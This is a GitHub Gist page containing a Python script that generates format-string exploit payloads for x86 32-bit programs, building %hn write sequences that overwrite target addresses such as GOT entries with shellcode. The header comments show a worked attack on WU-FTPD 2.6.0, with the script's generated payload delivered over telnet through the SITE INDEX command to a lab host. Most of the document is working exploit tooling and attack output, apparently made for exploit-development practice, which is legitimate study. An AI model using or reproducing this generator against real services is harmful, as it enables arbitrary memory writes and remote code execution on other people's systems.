Last active
May 17, 2025 05:06
-
-
Save mgeeky/3c983e89f8988812ed78d1d5597ad728 to your computer and use it in GitHub Desktop.
Format String vulnerability input generator to be used during exploit development stage at constructing stable x86 (32bit) input vectors.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# | |
# Script intended to aid exploit-development process, while attacking | |
# format string vulnerabilities. This script attempts to generate a | |
# stable format string to supply to vulnerable program, that would overwrite | |
# specified address with specified shellcode. Generating such format string | |
# by hand is a tedious task therefore this script shall make it easier. | |
# Technical info: | |
# - x86/32bit only, albeit it's easy to extend it to support 64bit (todo..) | |
# - writing using shorts (%hn), that is two-bytes at a row | |
# | |
# Scripted by Mariusz B., 2016 | |
# | |
# | |
# For instance, to attack WU-FTPD 2.6.0 on Linux protostart (2.6.32-5-686) one | |
# can invoke this script as follows: | |
# | |
# ./gen_format_string.py 0x0806c278 23 $'\x7c\xc2\x06\x08\x6a\x12\x59[...]\x77\x64\x38' -n 6 | |
# [?] x86/32bit Format string generator | |
# [>] Address to overwrite: 0806c278 | |
# [>] Argument assured to point at user-supplied buffer: 23 | |
# [>] Shellcode size to write: 98 | |
# [>] Starting offset: 6 | |
# | |
# [?] Added 49 address references. | |
# [?] Prepared 49 addresses to be used while arbitrary write (98 bytes) | |
# | |
# [?] Added 49 shorts overwrites | |
# Resulted format string to use: | |
# | |
# "\x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x%23$hn%17802x%24$hn%2660x%25$hn\ | |
# %50927x[...]%33396x%70$hn%49258x%71$hn" | |
# | |
# Then use obtained format string in vulnerable vector: | |
# | |
# $ telnet 192.168.56.100 21 | |
# Trying 192.168.56.100... | |
# Connected to 192.168.56.100. | |
# Escape character is '^]'. | |
# 220 protostar FTP server (Version wu-2.6.0(1) Thu Nov 17 14:23:41 EST 2016) ready. | |
# USER user | |
# 331 Password required for user. | |
# PASS user | |
# 230 User user logged in. | |
# SITE INDEX \x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x[...]%70$hn%49258x%71$hn | |
# | |
# Yet another usage. Scenario - we want to overwrite two DWORDs at specified addresses with some specific values: | |
# | |
# ./gen_format_string.py 0xbffff50c,0xbffff514 14 $'\x90\x31\xe6\xb7' $'\x24\x3a\xf8\xb7' -n 1 | |
# | |
# .:: x86/32bit Format string generator ::. | |
# coded by mgeeky, 2016, v0.3a | |
# | |
# [>] Addresses to overwrite: ['0xbffff50c', '0xbffff514'] | |
# (...) | |
# Resulted format string to use (116 bytes long / 0x74) padded in front with 1 dots to mimic offset: | |
# | |
# $'.\x0c\xf5\xff\xbf\x0e\xf5\xff\xbf\x14\xf5\xff\xbf\x16\xf5\xff\xbf%12671x%14$hn%34390x%15$hn%33342x%16$hn%32212x%17$hn' | |
# | |
import sys | |
VERSION='0.3a' | |
def usage(): | |
sys.stderr.write('Usage: %s <address1,address2,...,addressN> <argnum> <shellcode1> <shellcode2> ... [-n offset]\n' % sys.argv[0]) | |
sys.stderr.write('\nParameters:\n') | |
sys.stderr.write('\taddr - Address to overwrite using this Format String (e.g. GOT addr of symbol). May be repeated with comma (,) for multiple overwrites\n') | |
sys.stderr.write('\targnum - Number of user-supplied argument on stack as viewed by *printf function frame\n') | |
sys.stderr.write('\tshellcode - bytes to write at supplied `addr`. There has to be one shellcode parameter for each address\n') | |
sys.stderr.write('\t-n offset - (optional) Number of bytes preceding user-controlled buffer, that is bytes to fill up before sequence\n') | |
def here_comes_complex_tragic_options_parsing_function(): | |
if len(sys.argv) < 4: | |
usage() | |
return False | |
addr = [] | |
added_bytes = 0 | |
argnum = 0 | |
shellcodes = [] | |
if ',' in sys.argv[1]: | |
addr = [int(x, 16) for x in sys.argv[1].split(',')] | |
if len(sys.argv) < (len(addr)+3): | |
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr))) | |
usage() | |
return False | |
pos = 0 | |
for i in range(len(addr)): | |
pos = 3+i | |
if sys.argv[pos] == '-n': | |
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr))) | |
usage() | |
return False | |
shellcodes.append(sys.argv[pos]) | |
pos += 1 | |
if pos+1 <= len(sys.argv): | |
if sys.argv[pos] == '-n' and len(sys.argv) < pos+2: | |
sys.stderr.write('[!] Missing parameter for specified "-n" switch.\n\n') | |
usage() | |
return False | |
elif sys.argv[pos] == '-n' and len(sys.argv) >= pos+2: | |
added_bytes = int(sys.argv[pos+1]) | |
else: | |
addr = [int(sys.argv[1], 16),] | |
shellcodes = [sys.argv[3],] | |
if len(sys.argv) != 6 : | |
added_bytes = 0 | |
elif (len(sys.argv) == 6 and sys.argv[4] != '-n'): | |
sys.stderr.write('[!] Fatal error: Passed switch not recognized: "%s". Please specify optional offset followed by "-n".\n\n' % sys.argv[4]) | |
usage() | |
return False | |
else: | |
added_bytes = int(sys.argv[4]) | |
argnum = int(sys.argv[2]) | |
return (addr, argnum, shellcodes, added_bytes) | |
def main(): | |
sys.stderr.write('\n.:: x86/32bit Format string generator ::.') | |
sys.stderr.write('\n coded by mgeeky, 2016, v%s\n\n' % VERSION) | |
opts = here_comes_complex_tragic_options_parsing_function() | |
if not opts: | |
return False | |
(addr, argnum, shellcodes, added_bytes) = opts | |
bonce = False | |
for i in range(len(shellcodes)): | |
if len(shellcodes[i]) % 2 != 0 and not bonce: | |
bonce = True | |
sys.stderr.write('[!] Shellcode%d\'s length is not divisble by two, complementing with 0x90\n' % i) | |
shellcodes[i] += '\x90' | |
buff = '' | |
start_pos = added_bytes | |
ptr = addr | |
if len(addr) > 1: | |
sys.stderr.write('[>] Addresses to overwrite: %s\n' % str(["0x%08x" % x for x in addr])) | |
else: | |
sys.stderr.write('[>] Address to overwrite: %08x\n' % addr[0]) | |
sys.stderr.write('[>] Argument assured to point at user-supplied buffer: %d\n' % argnum) | |
sys.stderr.write('[>] Total bytes to write: %d\n' % sum([len(x) for x in shellcodes])) | |
sys.stderr.write('[>] Starting offset: %d\n' % added_bytes) | |
n = 0 | |
iters_total = 0 | |
for j in range(len(addr)): | |
ptr = addr[j] | |
iters = len(shellcodes[j]) / 2 | |
iters_total += iters | |
for i in range(iters): | |
addr_to_buf = [0, 0, 0, 0] | |
addr_to_buf[0] = ptr & 0xff | |
addr_to_buf[1] = (ptr & 0xff00) >> 8 | |
addr_to_buf[2] = (ptr & 0xff0000) >> 16 | |
addr_to_buf[3] = ptr >> 24 | |
buff += '\\x%02x\\x%02x\\x%02x\\x%02x' % ( | |
addr_to_buf[0], | |
addr_to_buf[1], | |
addr_to_buf[2], | |
addr_to_buf[3] ) | |
n += 1 | |
added_bytes += 4 | |
ptr += 2 | |
sys.stderr.write('\n[?] Added %d address references to %d addresses to overwrite.\n' % (n, len(addr))) | |
sys.stderr.write('[?] Prepared %d per-word addresses to be used while arbitrary write (%d bytes)\n' % \ | |
(iters_total, iters_total * 2)) | |
n = 0 | |
for shellcode in shellcodes: | |
for i in range(0, len(shellcode), 2): | |
num_to_print = 0 | |
val = shellcode[i:i+2] | |
valnum = ord(val[1]) * 256 + ord(val[0]) | |
num_so_far_mod = added_bytes & 0xffff | |
if num_so_far_mod < valnum: | |
num_to_print = valnum - num_so_far_mod | |
elif num_so_far_mod > valnum: | |
num_to_print = 0x10000 - (num_so_far_mod - valnum) | |
added_bytes += num_to_print | |
if num_to_print > 0: | |
buff += '%%%dx' % num_to_print | |
buff += '%%%d$hn' % argnum | |
argnum += 1 | |
n += 1 | |
sys.stderr.write('\n[?] Added %d shorts overwrites\n' % n) | |
sys.stderr.write('Resulted format string to use (%d bytes long / 0x%x) %s:\n\n' % \ | |
(len(buff), len(buff), '' if start_pos == 0 else 'padded in front with %d dots to mimic offset' % start_pos)) | |
print "$'%s%s'" % ('.' * start_pos, buff) | |
return True | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment